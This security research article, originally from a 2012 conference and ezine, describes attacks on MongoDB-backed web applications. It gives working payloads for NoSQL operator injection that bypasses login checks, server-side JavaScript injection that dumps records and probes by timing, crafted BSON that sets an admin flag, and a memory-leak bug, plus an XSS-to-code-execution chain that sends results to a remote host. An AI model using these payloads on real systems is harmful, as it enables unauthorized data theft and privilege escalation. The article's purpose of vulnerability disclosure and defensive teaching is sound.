This article is part of MongoDB research, and original text was published in HITB-010 Ezine and in “Xakep” #169 magazine.
Original russian version - PDF
Presentation from ZeroNights 2012 - PDF
Thanks to all my collegues from Positive Technologies, who helped me with this research.
Developers use NoSQL databases for various applications more and more often today. NoSQL attack methods are poorly known and less common as compared with SQL Injections. This article focuses on possible attacks against a web application via MongoDB vulnerabilities.
THE ABC OF MONGODB
Before dealing with MongoDB vulnerabilities, I should explain the essence of this database. Its name is quite familiar to everybody: if looking through materials related to well-known web projects, almost all of them contain references to NoSQL databases, and MongoDB is used most often in this context. Moreover, Microsoft offers to use MongoDB as a nonrelational database for the cloud platform Azure, which proves the idea that very soon this database will be applied to corporate software as well.
In brief, MongoDB is a very high-performance (its main advantage), scalable (easily extended over several servers, if necessary), open source (can be adjusted by large companies) database, which falls in the NoSQL category. The last option means it does not support SQL requests, but it supports its own request language. If going into details, then MongoDB uses a document-oriented format (JSON-based) to store data and does not require table description.
Downloading MongoDB installation kit, you can see two executable files: Mongo and mongod. Mongod is a database server, which stores data and handles requests. And Mongo is an official client written in C++ and JS (V8).
INSTALL, WATCH, RESEARCH
I’m not going to describe the way a database is installed: developers make everything possible to ease this process even without using manuals. Let’s focus on features that seem really interesting. The first thing is a REST interface. It is a web interface, which runs by default on port 28017 and allows an administrator to control their databases remotely via a browser. Working with this DBMS option, I found several vulnerabilities: two stored XSS vulnerabilities, undocumented SSJS (Server Side JavaScript) code execution, and multiple CSRF. This was very amusing, so I decided to go further :) Figure 3 demonstrates how this very REST interface looks like.
I’m going to detail the above mentioned vulnerabilities. The fields Clients and Log have two stored XSS vulnerabilities. It means that making any request with HTML code to the database, this code will be written to the source code of the page of the REST interface and will be executed in a browser of a person, who will visit this page. These vulnerabilities make the following attack possible:
- Send a request with the tag SCRIPT and JS address.
- An administrator opens the web interface in a browser, and the JS code gets executed in this browser.
- Request command execution from the remote server via the JSONP script.
- The script performs the command using undocumented SSJS code execution.
- The result is sent to our remote host, where it is written to a log.
As to undocumented SSJS code execution, I’ve written a template, which can be modified as may seem necessary.
1 | http://vuln-host:28017/admin/$cmd/?filter_eval=function(){ return db.version() }&limit=1 |
$cmd is an undocumented function in this example, and we know it already? :)
PLAYING WITH A DRIVER
BIt is well known that it is necessary to have a driver, which will serve as transport, to work with any significant database written in a script language, for instance PHP. I decided to take a close look at these drivers for MongoDB and chose a driver for PHP.
Suppose there is a completely configured server with Apache+PHP+MongoDB and a vulnerable script.
The main fragments of this script are as follows:
1 | $q = array("name" => $_GET['login'], "password" => $_ GET['password']); |
The script makes a request to the MongoDB database when the data has been received. If the data is correct, then it receives an array with the user’s data output. It looks as follows:
1 | echo 'Name: ' . $cursor['name']; |
Suppose the following parameters have been sent to it (True):
1 | ?login=admin&password=pa77w0rd |
then the request to the database will look as follows:
1 | db.items.findOne({"name" :"admin", "password" : "pa77w0rd"}) |
Due to the fact that the database contains the user admin with the password pa77w0rd, then its data is output as a response (True). If another name or password is used, then the response will return nothing (False).
There are conditions in MongoDB similar to the common where except for few differences in syntax. Thus it is necessary to write the following to output records, which names are not admin, from the table items:
1 | db.items.find({"name" :{$ne : "admin"}}) |
I think you already have ideas how to deceive this construction. PHP only requires another array to put it into the other one, which is sent by the function findOne.
Let’s proceed from theory to practice. At first, create a request, which sample will comply with the following conditions: password is not 1 and user is admin.
1 | db.items.findOne({"name" :"admin", "password" : {$ne : "1"}}) |
Information about the above mentioned account comes as a response:
1 | { |
It will look as follows in PHP:
1 | $q = array("name" => "admin", "password" => array("\$ne" => "1")); |
It is only needed to declare the variable password as an array for exploitation:
1 | ?login=admin&password[$ne]=1 |
Consequently, the admin data is output (True). This problem can be solved by the function is_array() and by bringing input arguments to the string type.
Mind that regular expressions can and should be used in such functions as findOne() and find(). $regex exists for this purpose. An example of use:
1 | db.items.find({name: {$regex: "^y"}}) |
This request will find all records, which name starts with the letter y.
Suppose the following request to the database is used in the script:
1 | $cursor1 = $collection->find(array("login" => $user, "pass" => $pass)); |
The data received from the database is displayed on the page with the help of the following construction:
1 | echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>'; |
A regular expression can help us receive all the database data. It is only needed to work with the types of variables transferred to the script:
1 | ?login[$regex]=^&password[$regex]=^ |
We’ll receive the following in response:
1 | id: 1 |
Everything works properly. There is another way to exploit such flaws: use of the $type operator:
1 | ?login[$not][$type]=1&password[$not][$type]=1 |
This algorithm suits both find() and findOne().
INJECTION INTO SSJS REQUESTS
TAnother vulnerability typical of MongoDB and PHP if used together is related to injection of your data to a SSJS request made to a server.
Suppose we have vulnerable code, which registers user data in the database and then outputs values from certain fields in the course of operation. Let it be the simplest guestbook.
I’ll use code to exemplify it. Assume that INSERT looks as follows:
1 | $q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }"; |
An important condition is that the variables $pass
and $login
are taken directly from the array $_GET
and are not filtered (yes, it’s an obvious fail, but it’s very common):
1 | $login = $_GET['login']; $pass = $_GET['password']; |
Below is the code, which performs this request and outputs data from the database:
1 | $db->execute($q); |
The test script is ready, the next is practice. Send test data:
1 | ?login=user&password=password |
Receive the following data in response:
1 | Your login: user |
Let’s try to exploit the vulnerability, which presupposes that data sent to a parameter is not filtered or verified. Let’s start with the simplest, namely with quotation marks:
1 | ?login=user&password='; |
Another page is displayed, SSJS code has not been executed because of an error. However, everything will change if the following data is sent:
1 | /?login=user&password=1'; var a = '1 |
Excellent. But how to receive the output now? It’s easy: you only need to rewrite the variable, for instance login, and the result of our code execution displaying the output will get to the database! It looks as follows:
1 | ?login=user&password=1'; var loginn = db.version(); var b=' |
The first thing we want is to read other records. A simple request is at help:
1 | /?login=user&password= '; var loginn = tojson(db.members. find()[0]); var b='2 |
For better understanding, let’s consider this request in detail:
- A known construction is used to rewrite a variable and execute arbitrary code.
- The tojson() function helps receive a complete response from the database. Without this function we would receive Array.
- The most important part is db.members.find()[0], where members are a table and find() is a function that outputs all records. The array at the end means a number of the record we address to. Brute forcing this array values, we receive records from the database.
Of course, it may happen that there will be no output, then it will be needed to use a time-based technique, which is based on a server response delay depending on a condition (true/false), to receive data. Here is an example:
1 | ?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2 |
This request allows us to know the database version. If it’s more than 2 (for instance, 2.0.4), then our code will be executed and the server will response with a delay.
Almost the same will happen with other programming languages. So if we are able to transfer an array to a request, then NoSQL Injection based on logic or regular expressions won’t take any long.
TRAFFIC SNIFFING
It is well known that MongoDB allows creating users for a specific database. Information about users in databases is stored in the table db.system.users. We are mostly interested in the fields user and pwd of the above mentioned table. The user column contains a user login, pwd MD5 string %login%:mongo:%password%, where login and password are the login and hash of the login, key, and user password.
All data is transferred unencrypted and packet hijacking allows obtaining specific data necessary to receive user’s name and password. It is needed to hijack nonce, login, and key sent by a client when authorizing on the MongoDB server. Key contains an MD5 string of the following form: %nonce% + %login% + md5(%login% + “:mongo:” + %passwod%).
It is obvious that it will be no trouble to write software, which will automatically hijack and brute force a login and password basing on the hijacked data. You don’t know how to capture data, do you? Start studying ARP Spoofing.
BSON VULNERABILITIES
Let’s move further and consider another type of vulnerabilities based on wrong parsing of a BSON object transferred in a request to a database.
A few words about BSON at first. BSON (Binary JavaScript Object Notation) is a computer data interchange format used mainly as a storage of various data (Bool, int, string, and etc.). Assume there is a table with two records:
1 | > db.test.find({}) |
And a database request, which can be injected:
1 | >db.test.insert({ "name" : "noadmin2", "isadmin" : false}) |
Just insert a crafted BSON object to the column name:
1 | >db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\ x00\x00\x00\x00" : "noadmin2", "isadmin" : false}) |
0x08 before isadmin specifies that the data type is boolean and 0x01 sets the object value as true instead of false assigned by default. The point is that, dealing with variable types, it is possible to rewrite data rendered automatically with a request.
Now let’s see what there is in the table:
1 | > db.test.find({}) |
False has been successfully changed into true!
Let’s consider a vulnerability in the BSON parser, which allows reading arbitrary storage areas. Due to incorrect parsing of the length of a BSON document in the column name in the insert command, MongoDB makes it possible to insert a record that will contain a Base64 encrypted storage area of the database server. Let’s put it into practice as usual.
Suppose we have a table named dropme and enough privileges to write in it. We send the following command and receive the result:
1 | > db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\x00\ x00\x00world\x00\x00" : "world"}) |
It happens because the length of the BSON object is incorrect - 0x010 instead of 0x01. When Base64 code is decrypted, we receive bytes of random server storage areas.
CONCLUSION
Sure enough, you can come across the above described attacks and vulnerabilities in a real life. I’ve been there. You should think not only about secure code running in Mon- goDB, but about vulnerabilities of the DBMS itself. Studying each case in detail, think
over the idea that NoSQL databases are not as secure as it is believed. Stay tuned!